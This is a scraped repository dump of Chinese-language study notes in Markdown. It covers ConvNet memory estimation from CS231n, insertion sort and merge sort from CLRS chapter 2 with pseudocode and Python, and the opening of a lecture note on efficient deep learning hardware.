ๆ’ญ็š„ๆ—ถๅ€™่ฟ˜ไผš็”จๅˆฐใ€‚ไฝ†ๆ˜ฏๅœจๆต‹่ฏ•ๆ—ถๅฏไปฅ่ชๆ˜Ž็‚น๏ผš่ฎฉ็ฝ‘็ปœๅœจๆต‹่ฏ•่ฟ่กŒๆ—ถๅ€™ๆฏๅฑ‚้ƒฝๅชๅญ˜ๅ‚จๅฝ“ๅ‰็š„ๆฟ€ๆดปๆ•ฐๆฎ๏ผŒ็„ถๅŽไธขๅผƒๅ‰้ขๅฑ‚็š„ๆฟ€ๆดปๆ•ฐๆฎ๏ผŒ่ฟ™ๆ ทๅฐฑ่ƒฝๅ‡ๅฐ‘ๅทจๅคง็š„ๆฟ€ๆดปๆ•ฐๆฎ้‡ใ€‚\n- ๆฅ่‡ชๅ‚ๆ•ฐๅฐบๅฏธ๏ผšๅณๆ•ดไธช็ฝ‘็ปœ็š„ๅ‚ๆ•ฐ็š„ๆ•ฐ้‡๏ผŒๅœจๅๅ‘ไผ ๆ’ญๆ—ถๅฎƒไปฌ็š„ๆขฏๅบฆๅ€ผ๏ผŒไปฅๅŠไฝฟ็”จmomentumใ€Adagradๆˆ–RMSProp็ญ‰ๆ–นๆณ•่ฟ›่กŒๆœ€ไผ˜ๅŒ–ๆ—ถ็š„ๆฏไธ€ๆญฅ่ฎก็ฎ—็ผ“ๅญ˜ใ€‚ๅ› ๆญค๏ผŒๅญ˜ๅ‚จๅ‚ๆ•ฐๅ‘้‡็š„ๅ†…ๅญ˜้€šๅธธ้œ€่ฆๅœจๅ‚ๆ•ฐๅ‘้‡็š„ๅฎน้‡ๅŸบ็ก€ไธŠไน˜ไปฅ3ๆˆ–่€…ๆ›ดๅคšใ€‚\n- ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅฎž็Žฐ่ฟ˜ๆœ‰ๅ„็ง้›ถๆ•ฃ็š„ๅ†…ๅญ˜ๅ ็”จ๏ผŒๆฏ”ๅฆ‚ๆˆๆ‰น็š„่ฎญ็ปƒๆ•ฐๆฎ๏ผŒๆ‰ฉๅ……็š„ๆ•ฐๆฎ็ญ‰็ญ‰ใ€‚\n\nไธ€ๆ—ฆๅฏนไบŽๆ‰€ๆœ‰่ฟ™ไบ›ๆ•ฐๅ€ผ็š„ๆ•ฐ้‡ๆœ‰ไบ†ไธ€ไธชๅคง็•ฅไผฐ่ฎก๏ผˆๅŒ…ๅซๆฟ€ๆดปๆ•ฐๆฎ๏ผŒๆขฏๅบฆๅ’Œๅ„็งๆ‚้กน๏ผ‰๏ผŒๆ•ฐ้‡ๅบ”่ฏฅ่ฝฌๅŒ–ไธบไปฅGBไธบ่ฎก้‡ๅ•ไฝใ€‚ๆŠŠ่ฟ™ไธชๅ€ผไน˜ไปฅ4๏ผŒๅพ—ๅˆฐๅŽŸๅง‹็š„ๅญ—่Š‚ๆ•ฐ๏ผˆๅ› ไธบๆฏไธชๆตฎ็‚นๆ•ฐๅ ็”จ4ไธชๅญ—่Š‚๏ผŒๅฆ‚ๆžœๆ˜ฏๅŒ็ฒพๅบฆๆตฎ็‚นๆ•ฐ้‚ฃๅฐฑๆ˜ฏๅ ็”จ8ไธชๅญ—่Š‚๏ผ‰๏ผŒ็„ถๅŽๅคšๆฌก้™คไปฅ1024ๅˆ†ๅˆซๅพ—ๅˆฐๅ ็”จๅ†…ๅญ˜็š„KB๏ผŒMB๏ผŒๆœ€ๅŽๆ˜ฏGB่ฎก้‡ใ€‚ๅฆ‚ๆžœไฝ ็š„็ฝ‘็ปœๅทฅไฝœๅพ—ไธๅฅฝ๏ผŒไธ€ไธชๅธธ็”จ็š„ๆ–นๆณ•ๆ˜ฏ้™ไฝŽๆ‰นๅฐบๅฏธ๏ผˆbatch size๏ผ‰๏ผŒๅ› ไธบ็ปๅคงๅคšๆ•ฐ็š„ๅ†…ๅญ˜้ƒฝๆ˜ฏ่ขซๆฟ€ๆดปๆ•ฐๆฎๆถˆ่€—ๆŽ‰ไบ†ใ€‚\n\n\n\n## **ๆ‹“ๅฑ•่ต„ๆบ**\n\nๅ’Œๅฎž่ทต็›ธๅ…ณ็š„ๆ‹“ๅฑ•่ต„ๆบ๏ผš\n\n- [Soumith benchmarks for CONV performance](http://link.zhihu.com/?target=https%3A//github.com/soumith/convnet-benchmarks)\n- [ConvNetJS CIFAR-10 demo](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/convnetjs/demo/cifar10.html) ๅฏไปฅ่ฎฉไฝ ๅœจๆœๅŠกๅ™จไธŠๅฎžๆ—ถๅœฐ่ฐƒ่ฏ•ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„๏ผŒ่ง‚ๅฏŸ่ฎก็ฎ—็ป“ๆžœใ€‚\n- [Caffe](http://link.zhihu.com/?target=http%3A//caffe.berkeleyvision.org/)๏ผŒไธ€ไธชๆต่กŒ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅบ“ใ€‚\n- [State of the art ResNets in Torch7](http://link.zhihu.com/?target=http%3A//torch.ch/blog/2016/02/04/resnets.html)\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_ConvNet_notes.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n" }, { "alpha_fraction": 0.5037294030189514, "alphanum_fraction": 0.5375542044639587, "avg_line_length": 19.508895874023438, "blob_id": "359ca6c2271206e87b66e821c467e3cb90a378fc", "content_id": "a37e8551d749096823a9bb0850d2b32456604786", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8817, "license_type": "no_license", "max_line_length": 394, "num_lines": 281, "path": "/blog/books/CLRS_2.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: ็ฌฌ2็ซ  ็ฎ—ๆณ•ๅŸบ็ก€\ndate: 2018-09-06\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](./CLRS.html)\n\n---\n\n[TOC]\n\n## ็ฌฌ2็ซ  ็ฎ—ๆณ•ๅŸบ็ก€\n\n\n\n### 2.1 ๆ’ๅ…ฅๆŽ’ๅบ\n\n- ๆ’ๅ…ฅๆŽ’ๅบ็ฎ—ๆณ•ๆ˜ฏไธ€็ง**ๅฐฑๅœฐ็ฎ—ๆณ•**๏ผŒ้กพๅๆ€ไน‰๏ผŒๅฐฑๆ˜ฏๆŒ‡็ฉบ้—ด็”จ้‡ๆ˜ฏไธ€ไธชๅธธๆ•ฐ $O(1)$\n\n- ๆˆ‘ไปฌๅธŒๆœ›ๆŽ’ๅบ็š„ๆ•ฐไนŸ็งฐไธบ**ๅ…ณ้”ฎ่ฏ**๏ผˆkey๏ผ‰๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๅฏนไธ€็ณปๅˆ— key ่ฟ›่กŒๆŽ’ๅบใ€‚\n\n- ่ฏฅ็ฎ—ๆณ•ๅฏนๅฐ่ง„ๆจกๆ•ฐๆฎ็š„ๆ•ˆ็Ž‡ๆฏ”่พƒ้ซ˜ใ€‚\n\n- ไผชไปฃ็ ไธŽ็œŸ็ ็š„ๅŒบๅˆซๅœจไบŽ๏ผš\n 1. ไผชไปฃ็ ็”จๆœ€ๆธ…ๆ™ฐใ€ๆœ€็ฎ€ๆด็š„่กจ็คบๆ–นๆณ•ๆฅ่ฏดๆ˜Ž็ป™ๅฎš็š„็ฎ—ๆณ•๏ผ›\n 2. ไผชไปฃ็ ้€šๅธธไธๅ…ณๅฟƒ่ฝฏไปถๅทฅ็จ‹็š„้—ฎ้ข˜ใ€‚\n\n- ๆ’ๅ…ฅๆŽ’ๅบ็š„ไผชไปฃ็ ๏ผšใ€INSERTION-SORTใ€‘\n\n ```pseudocode\n for j = 2 to A.length\n \tkey = A[j]\n \t// Insert A[j] into the sorted sequence A[1..j-1].\n \ti = j-1\n \twhile i > 0 and A[i] > key\n \t\tA[i+1] = A[i]\n \t\ti = i -1\n \tA[i+1] = key\n ```\n\n - *ไผชไปฃ็ ไธญ็š„ไธ€ไบ›่ง„ๅฎš*๏ผšไนฆไธญP11\n - **็ผฉ่ฟ›่กจ็คบๅ—็ป“ๆž„๏ผ›**\n - **whileใ€forไธŽrepeat-until็ญ‰ๅพช็Žฏ็ป“ๆž„ไปฅๅŠif-else็ญ‰ๆกไปถ็ป“ๆž„ไธŽCใ€C++ใ€Javaใ€Pythonๅ’ŒPascalไธญ็š„้‚ฃไบ›็ป“ๆž„ๅ…ทๆœ‰็ฑปไผผ็š„่งฃ้‡Š๏ผ›**\n - **็ฌฆๅทโ€œ//โ€่กจ็คบ่ฏฅ่กŒๅŽ้ข้ƒจๅˆ†ๆ˜ฏไธชๆณจ้‡Š๏ผ›**\n - **ๅฝขๅฆ‚i=j=e็š„ๅคš้‡่ต‹ๅ€ผๅฐ†่กจ่พพๅผe็š„ๅ€ผ่ต‹็ป™ๅ˜้‡iๅ’Œj๏ผ›ๅฎƒ่ขซๅค„็†ๆˆ็ญ‰ไปทไบŽ่ต‹ๅ€ผj=eๅŽ่ทŸ็€่ต‹ๅ€ผi=j๏ผ›**\n - **ๅ˜้‡ๆ˜ฏๅฑ€้ƒจ็ป™ๅฎš่ฟ‡็จ‹็š„๏ผ›**\n - **ๆ•ฐ็ป„ๅ…ƒ็ด ้€š่ฟ‡โ€œๆ•ฐ็ป„ๅ[ไธ‹ๆ ‡]โ€่ฟ™ๆ ท็š„ๅฝขๅผๆฅ่ฎฟ้—ฎ็š„๏ผ›**\n - **ๅคๅˆๆ•ฐๆฎ้€šๅธธ่ขซ็ป„็ป‡ๆˆๅฏน่ฑก๏ผŒๅฏน่ฑกๅˆ็”ฑๅฑžๆ€ง็ป„ๆˆใ€‚**\n - **ๆˆ‘ไปฌๆŒ‰ๅ€ผๆŠŠๅ‚ๆ•ฐไผ ้€’็ป™่ฟ‡็จ‹๏ผš่ขซ่ฐƒ็”จ่ฟ‡็จ‹ๆŽฅๆ”ถๅ…ถๅ‚ๆ•ฐ่‡ช่บซ็š„ๅ‰ฏๆœฌ๏ผ›**\n - **ไธ€ไธชreturn่ฏญๅฅ็ซ‹ๅณๅฐ†ๆŽงๅˆถ่ฟ”ๅ›žๅˆฐ่ฐƒ็”จ่ฟ‡็จ‹็š„่ฐƒ็”จ็‚น๏ผ›**\n - **ๅธƒๅฐ”่ฟ็ฎ—็ฌฆโ€œandโ€ๅ’Œโ€orโ€้ƒฝๆ˜ฏ็Ÿญ่ทฏ็š„๏ผ›** ็Ÿญ่ทฏ่กจ่พพๅผ(if...) ไผšๅ…ˆๅค„็†็ฌฌไธ€ไธช่กจ่พพๅผใ€‚\n - **ๅ…ณ้”ฎๅญ—error่กจ็คบๅ› ไธบๅทฒ่ขซ่ฐƒ็”จ็š„่ฟ‡็จ‹ๆƒ…ๅ†ตไธๅฏน่€Œๅ‡บ็Žฐไธ€ไธช้”™่ฏฏใ€‚**\n\n- Python ็‰ˆๆœฌ๏ผš\n\n ```python\n for j in range(1, len(A)):\n key = A[j]\n i = j - 1\n while i >= 0 and A[i] > key:\n A[i+1] = A[i]\n i -= 1\n A[i+1] = key\n ```\n\n- **ๅพช็Žฏไธ็ญ‰ๅผ**๏ผšๅ…ถไธป่ฆๆ˜ฏ็”จๆฅๅธฎๅŠฉๆˆ‘ไปฌ็†่งฃๅ’Œ่ฏๆ˜Ž็ฎ—ๆณ•็š„ๆญฃ็กฎๆ€งใ€‚\n\n - ๅฏนไบŽๆ’ๅ…ฅๆŽ’ๅบๆฅ่ฏด๏ผŒๆ‰€่ฐ“ๅพช็Žฏไธ็ญ‰ๅผ็š„็‰น็‚น๏ผŒๅณใ€ๅฝ“ๅ‰ๅทฒๆŽ’ๅบใ€‘+ใ€ไฟ็•™ๅ…ถไป–ๅŽŸๆœ‰ๆ•ฐๆฎใ€‘๏ผŒๅ…ถไธญใ€ไฟ็•™ๅ…ถไป–ๅŽŸๆœ‰ๆ•ฐๆฎใ€‘ๆ˜ฏๅฐšๆœชๅค„็†็š„ๅบๅˆ—ใ€‚\n - ๅฟ…ๆœ‰่ฏๆ˜Ž๏ผš๏ผˆ้ข‡ไธบๅƒๆ•ฐๅญฆๅฝ’็บณๆณ•๏ผ‰\n - **ๅˆๅง‹ๅŒ–**๏ผš็ฌฌไธ€ๆฌก่ฟญไปฃ็š„ๆญฃ็กฎๆ€ง\n - **็ปดๆŠค/ไฟๆŒ**๏ผšๆŸๆฌก่ฟญไปฃๆญฃ็กฎๅŽ๏ผŒไธ‹ไธ€ๆฌก่ฟญไปฃไนŸไผšๆญฃ็กฎ\n - **็ปˆ็ป“/็ปˆๆญข**๏ผšๆœ€ๅŽไธ€ๆฌก่ฟญไปฃ๏ผŒๅพช็Žฏ็ปˆๆญขใ€‚\n\n- **ๆ•ฐๆฎ็ป“ๆž„ไธๅ˜ๅผ**ใ€‚\n\n- ๅœจๆ’ๅ…ฅ็ฎ—ๆณ•ไธญ๏ผŒๅฏไปฅๅฐ†ๅ…ถไธญๅฏปๆ‰พๆ’ไฝ็š„ๆ–นๆณ•ๆ”นไธบๅˆฉ็”จ**ไบŒๅˆ†ๆŸฅๆ‰พ**ๅฎž็Žฐๅฟซ้€Ÿๅฎšไฝ**ๅบไฝ**ใ€‚\n\n\n\n\n\n### 2.2 ๅˆ†ๆž็ฎ—ๆณ•\n\n- ๅœจๅˆ†ๆž็ฎ—ๆณ•็š„่ฟ‡็จ‹ไธญ๏ผŒ้€šๅธธๆˆ‘ไปฌๆƒณๅบฆ้‡็š„ๆ˜ฏ**่ฎก็ฎ—ๆ—ถ้—ด**ใ€‚\n- ๆˆ‘ไปฌ็ฎ—ๆณ•็š„ๅˆ†ๆž๏ผŒ้ƒฝๅ‡ๅฎšไธ€็ง้€š็”จ็š„ๅ•ๅค„็†ๅ™จ่ฎก็ฎ—ๆจกๅž‹โ€”โ€”**้šๆœบ่ฎฟ้—ฎๆœบ**๏ผˆrandom-access machine, **RAM**๏ผ‰๏ผŒๆฒกๆœ‰ๅนถๅ‘ๆ“ไฝœใ€‚\n- RAM ๆจกๅž‹ๅŒ…ๅซ็œŸๅฎž่ฎก็ฎ—ๆœบไธญๅธธ่ง็š„ๆŒ‡ไปค๏ผš็ฎ—ๆœฏๆŒ‡ไปคใ€ๆ•ฐๆฎ็งปๅŠจๆŒ‡ไปคๅ’ŒๆŽงๅˆถๆŒ‡ไปคใ€‚ๆฏๆก่ฟ™ๆ ท็š„ๆŒ‡ไปคๆ‰€้œ€ๆ—ถ้—ด้ƒฝไธบๅธธ้‡ใ€‚\n\n---\n\n- ๆ’ๅ…ฅๆŽ’ๅบ็ฎ—ๆณ•็š„ๅˆ†ๆž๏ผš\n\n - ่ฟ‡็จ‹ INSERTION-SORT ้œ€่ฆ็š„ๆ—ถ้—ด**ไพ่ต–ไบŽ่พ“ๅ…ฅ**๏ผŒไธไป…ๆŒ‡็š„ๆ˜ฏ่พ“ๅ…ฅ็š„ๆ•ฐ็›ฎ๏ผˆๆ‰€่ฐ“**่พ“ๅ…ฅ่ง„ๆจก**๏ผŒๅฆ‚ๆŽ’ๅบ่พ“ๅ…ฅไธญ็š„้กนๆ•ฐ๏ผ‰๏ผŒไนŸไพ่ต–ไบŽๅฎƒไปฌ**ๅทฒ่ขซๆŽ’ๅบ็š„็จ‹ๅบฆ**ใ€‚\n\n - ไธ€ไธช็ฎ—ๆณ•ๅœจ็‰นๅฎš่พ“ๅ…ฅไธŠ็š„่ฟ่กŒๆ—ถ้—ดๆ˜ฏๆŒ‡ๆ‰ง่กŒ็š„ๅŸบๆœฌๆ“ไฝœๆ•ฐๆˆ–ๆญฅๆ•ฐใ€‚\n\n - ๆˆ‘ไปฌๅ‡ๅฎš๏ผšๆ‰ง่กŒๆฏ่กŒไผชไปฃ็ ้œ€่ฆๅธธ้‡ๆ—ถ้—ด๏ผŒๅณ็ฌฌ i ่กŒ็š„ๆฏๆฌกๆ‰ง่กŒ้œ€่ฆๆ—ถ้—ด $c_i$๏ผŒๅ…ถไธญ $c_i$ ๆ˜ฏไธ€ไธชๅธธ้‡ใ€‚\n\n ```\n for j = 2 to A.length\t\t\t\t\t\t\t\t\tc1\t\tn\n \tkey = A[j]\t\t\t\t\t\t\t\t\t\t\tc2\t\tn-1\n \t// Insert A[j] into the sorted sequence A[1..j-1].\t0\t\tn-1\t\n \ti = j-1\t\t\t\t\t\t\t\t\t\t\t\tc4\t\tn-1\n \twhile i > 0 and A[i] > key\t\t\t\t\t\t\tc5\t\tsum(t_j, j=2, n)\n \t\tA[i+1] = A[i]\t\t\t\t\t\t\t\t\tc6\t\tsum(t_j-1, j=2, n)\n \t\ti = i -1\t\t\t\t\t\t\t\t\t\tc7\t\tsum(t_j-1, j=2, n)\n \tA[i+1] = key\t\t\t\t\t\t\t\t\t\tc8\t\tn-1\n ```\n\n ๆ‰€ไปฅๆœ‰่ฟ่กŒๆ—ถ้—ด๏ผš\n $$\n T(n) = c_1n+c_2(n-1)+c_4(n-1)+c_5\\sum^n_{j=2}t_j+c_6\\sum^n_{j=2}(t_j-1)+c_7\\sum^n_{j=2}(t_j-1)+c_8(n-1)\n $$\n\n - ๆœ€ไฝณๆƒ…ๅ†ต๏ผš๏ผˆ่พ“ๅ…ฅๆ•ฐ็ป„ๅทฒๆŽ’ๅฅฝๅบ๏ผ‰\n $$\n T(n)=(c_1+c_2+c_4+c_5+c_8)n-(c_2+c_4+c_5+c_8)\n $$\n ๅฎƒๆ˜ฏ $n$ ็š„็บฟๆ€งๅ‡ฝๆ•ฐใ€‚\n\n - ๆœ€ๅๆƒ…ๅ†ต๏ผš๏ผˆ่พ“ๅ…ฅๆ•ฐ็ป„ๅทฒๅๅ‘ๆŽ’ๅบ๏ผ‰\n $$\n T(n)=(c_5+c_6+c_7)n^2/2+(c_1+c_2+c_4+c_5/2-c_6/2-c_7/2+c_8)n-(c_2+c_4+c_5+c_8)\n $$\n ๅฎƒๆ˜ฏ $n$ ็š„ไบŒๆฌกๅ‡ฝๆ•ฐใ€‚\n\n- ๆœ€ๅๆƒ…ๅ†ตๅ’Œๅนณๅ‡ๆƒ…ๅ†ตๅˆ†ๆž๏ผšๅพ€ๅพ€ๆˆ‘ไปฌ้›†ไธญไบŽๅชๆฑ‚**ๆœ€ๅๆƒ…ๅ†ต่ฟ่กŒๆ—ถ้—ด**๏ผŒ็†็”ฑๆœ‰ไธ‰๏ผš\n\n 1. ๅฏไปฅ็ป™ๅ‡บไธ€ไธช**ไธŠ็•Œ**๏ผ›\n 2. ๆœ€ๅๆƒ…ๅ†ต**็ปๅธธๅ‡บ็Žฐ**๏ผ›\n 3. โ€œๅนณๅ‡ๆƒ…ๅ†ตโ€ๅพ€ๅพ€ไธŽๆœ€ๅๆƒ…ๅ†ตไธ€่‡ด**ไธ€ๆ ทๅทฎ**ใ€‚\n\n- ๅขž้•ฟ้‡็บง\n\n - ๆˆ‘ไปฌ็œŸๆญฃๆ„Ÿๅ…ด่ถฃ็š„ๆ˜ฏ่ฟ่กŒๆ—ถ้—ด็š„**ๅขž้•ฟ็Ž‡**ๆˆ–**ๅขž้•ฟ้‡็บงใ€‚**\n - ๅฆ‚ๆžœไธ€ไธช็ฎ—ๆณ•็š„ๆœ€ๅๆƒ…ๅ†ต่ฟ่กŒๆ—ถ้—ดๅ…ทๆœ‰ๆฏ”ๅฆไธ€ไธช็ฎ—ๆณ•ๆ›ดไฝŽ็š„ๅขž้•ฟ้‡็บง๏ผŒ้‚ฃไนˆๆˆ‘ไปฌ้€šๅธธ่ฎคไธบๅ‰่€…ๆฏ”ๅŽ่€…ๆ›ดๆœ‰ๆ•ˆใ€‚\n\n\n\n\n\n### 2.3 ่ฎพ่ฎก็ฎ—ๆณ•\n\nๆ’ๅ…ฅๆŽ’ๅบไฝฟ็”จ็š„ๆ˜ฏ**ๅขž้‡ๆณ•**๏ผŒ่€Œๅฝ’ๅนถๆŽ’ๅบไฝฟ็”จ็š„ๆ˜ฏ**ๅˆ†ๆฒปๆณ•**ใ€‚\n\n\n\n#### 2.3.1 ๅˆ†ๆฒปๆณ•\n\n- ็ฎ—ๆณ•ๅœจ็ป“ๆž„ไธŠๆ˜ฏ**้€’ๅฝ’็š„**๏ผšไธบไบ†่งฃๅ†ณไธ€ไธช็ป™ๅฎš็š„้—ฎ้ข˜๏ผŒ่‹ๆ•ฃๅ‘ไธ€ๆฌกๆˆ–ๅคšๆฌก้€’ๅฝ’ๅœฐ่ฐƒ็”จๅ…ถ่‡ช่บซไปฅ่งฃๅ†ณ็ดงๅฏ†็›ธๅ…ณ็š„่‹ฅๅนฒๅญ้—ฎ้ข˜ใ€‚\n\n- ็ป“ๆž„ไธŠ้€’ๅฝ’็š„็ฎ—ๆณ•ๅ…ธๅž‹ๅœฐ้ตๅพช**ๅˆ†ๆฒปๆณ•**็š„ๆ€ๆƒณ๏ผšๅฐ†ๅŽŸ้—ฎ้ข˜ๅˆ†่งฃไธบๅ‡ ไธช่ง„ๆจก่พƒๅฐไฝ†็ฑปไผผไบŽๅŽŸ้—ฎ้ข˜็š„ๅญ้—ฎ้ข˜๏ผŒ้€’ๅฝ’ๅœฐๆฑ‚่งฃ่ฟ™ไบ›ๅญ้—ฎ้ข˜๏ผŒ็„ถๅŽๅˆๅนถ่ฟ™ไบ›ๅญ้—ฎ้ข˜็š„่งฃๆฅๅปบ็ซ‹ๅŽŸ้—ฎ้ข˜็š„่งฃใ€‚\n\n- ๅˆ†ๆฒปๆจกๅผๅœจๆฏๅฑ‚้€’ๅฝ’ๆ—ถ้ƒฝๆœ‰ไธ‰ไธชๆญฅ้ชค๏ผš\n 1. ๅˆ†่งฃ๏ผ›\n 2. ่งฃๅ†ณ๏ผ›\n 3. ๅˆๅนถใ€‚\n\n- ๅฝ’ๅนถๆŽ’ๅบ็ฎ—ๆณ•ๅฐฑๆ˜ฏๅฆ‚ๆญคไธ‰ไธชๆญฅ้ชคใ€‚\n\n- ๅฝ’ๅนถๆŽ’ๅบ็ฎ—ๆณ•็š„**ๅ…ณ้”ฎๆ“ไฝœ**ๆ—ถ๏ผš**โ€œๅˆๅนถโ€ๆญฅ้ชคไธญไธคไธชๅทฒๆŽ’ๅบๅบๅˆ—็š„ๅˆๅนถใ€‚**\n - ๅฝ’ๅนถๆŽ’ๅบไธญๅญ็จ‹ๅบ็š„ไผชไปฃ็ ๏ผšใ€MERGEใ€‘\n\n ```pseudocode\n n1 = q - p + 1\n n2 = r - q\n let L[1..n1+1] and R[1..n_2+1] be new arrays\n for i=1 to n1\n \tL[i] = A[p + i -1]\n for j=1 to n2\n \tR[i] = A[q + j] \n L[n1 + 1] = \\infinty // ๅ“จๅ…ต\n R[n2 + 1] = \\infinty \n i = 1\n j = 1\n for k = p to r\n \tif L[i] <= R[j]\n \t\tA[k] = L[i]\n \t\ti = i + 1\n \telse A[k] = R[j]\n \t\tj = j + 1\n ```\n\n - ไธŠ้ข็š„ไผชไปฃ็ ๆˆ‘ๅทฒๆ— ๅŠ›ๅๆงฝ๏ผŒ่ฟ˜ๆ˜ฏ็œ‹ Python ไปฃ็ ๅง๏ผš\n\n ```python\n def MERGE(A, p, q, r):\n L = [value for i, value in enumerate(A) if i in range(p, q+1)]\n R = [value for j, value in enumerate(A) if j in range(q+1, r+1)]\n L += [float('inf')]\n R += [float('inf')]\n i, j= 0, 0\n for k in range(p, r+1):\n if L[i] <= R[j]:\n A[k] = L[i]\n i += 1\n else:\n A[k] = R[j]\n j += 1\n >>> A = [2, 4, 5 ,7, 1, 2, 3, 6]\n >>> MERGE(A, 0, 3, 7)\n ```\n\n - ใ€MERGEใ€‘ ็š„่ฟ่กŒๆ—ถ้—ดๆ˜ฏ $\\Theta(n)$๏ผŒๅ…ถไธญ n=r-p+1ใ€‚\n\n- ๅฝ’ๅนถๆŽ’ๅบ็ฎ—ๆณ• Python ไปฃ็ ๏ผšใ€MERGE-SORTใ€‘\n\n ```python\n def MERGE_SORT(A, p, r):\n \tif p < r:\n q = (p+r)//2\n MERGE_SORT(A, p , q)\n MERGE_SORT(A, q+1, r)\n MERGE(A, p, q, r)\n >>> A = [2, 4, 5 ,7, 1, 2, 3, 6]\n >>> MERGE_SORT(A, 0, len(A)-1)\n ```\n\n\n\n\n\n\n#### 2.3.2 ๅˆ†ๆžๅˆ†ๆฒป็ฎ—ๆณ•\n\n- **้€’ๅฝ’ๆ–น็จ‹**ๆˆ–**้€’ๅฝ’ๅผ**\n\n ่ง„ๆจกไธบ n ็š„ไธ€ไธช้—ฎ้ข˜็š„่ฟ่กŒๆ—ถ้—ด๏ผš\n $$\n T(n) = \\Big\\{\\begin{align}\n &\\Theta(1) &n\\leq c \\\\\n & aT(n/b) + D(n) + C(n) & others\n \\end{align}\n $$\n\n - ้—ฎ้ข˜่ง„ๆจก่ถณๅคŸๅฐ $n\\leq c$๏ผŒ็›ดๆŽฅๆฑ‚่งฃ้œ€่ฆๅธธ้‡ๆ—ถ้—ด๏ผš$\\Theta(1)$\n - ๆŠŠๅŽŸ้—ฎ้ข˜ๅˆ†่งฃไธบ a ไธชๅญ้—ฎ้ข˜๏ผŒๆฏไธชๅญ้—ฎ้ข˜็š„่ง„ๆจกๆ˜ฏๅŽŸ้—ฎ้ข˜็š„ 1/b๏ผŒๆฑ‚่งฃ่ง„ๆจกไธบ n/b ็š„ๅญ้—ฎ้ข˜้œ€่ฆๆ—ถ้—ด T(n/b)ใ€‚\n - ๅˆ†่งฃ้—ฎ้ข˜ๆˆๅญ้—ฎ้ข˜้œ€่ฆๆ—ถ้—ด $D(n)$๏ผŒๅˆๅนถๅญ้—ฎ้ข˜ไธบๅŽŸ้—ฎ้ข˜้œ€่ฆๆ—ถ้—ด $C(n)$\n\n- ๅฝ’ๅนถ็ฎ—ๆณ•็š„้€’ๅฝ’ๅผ๏ผˆๆœ€ๅๆƒ…ๅ†ต๏ผ‰๏ผš\n $$\n T(n) = \\Big\\{\\begin{align}\n &\\Theta(1) &n=1 \\\\\n & 2T(n/b) +\\Theta(n) & n>1\n \\end{align}\n $$\n\n - ไธปๅฎš็†ๅฏ่ฏๆ˜Ž๏ผš$T(n) = \\Theta(n\\lg n)$\n\n\n\n\n\n\n\n\n\n\n\nRef: [solutions of Ch2 to \"*Introduction to Algorithms*\"](http://sites.math.rutgers.edu/~ajl213/CLRS/Ch2.pdf)\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](./CLRS.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CLRS_2.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6655231714248657, "alphanum_fraction": 0.7261292338371277, "avg_line_length": 30.196428298950195, "blob_id": "c529718c553aa42ddda3199bb561a540f7aa1610", "content_id": "8ba82564a40e0c7da333661ff62a8774b17c17d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2067, "license_type": "no_license", "max_line_length": 394, "num_lines": 56, "path": "/blog/cs231n/cs231n_Efficient Methods and Hardware for Deep Learning.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Guest Lecture. Efficient Methods and Hardware for Deep Learning\ndate: 2018-09-15\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=34)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2017](http://cs231n.stanford.edu/2017/syllabus).\n>\n\n# Guest Lecture. Efficient Methods and Hardware for Deep Learning\n\n\n\n## The Challenge\n\n- Model Size\n - ๅฏนไบŽ่ถ…่ฟ‡ 100 MB ็š„ๅ†…ๅฎน๏ผŒไธ่ฟž WiFi ๆ˜ฏไธไผšไธ‹่ฝฝ็š„ใ€‚ๆ‰€ไปฅ๏ผŒๅฏน็ฑปไผผ Baidu ๆˆ– Facebook ่ฟ™ๆ 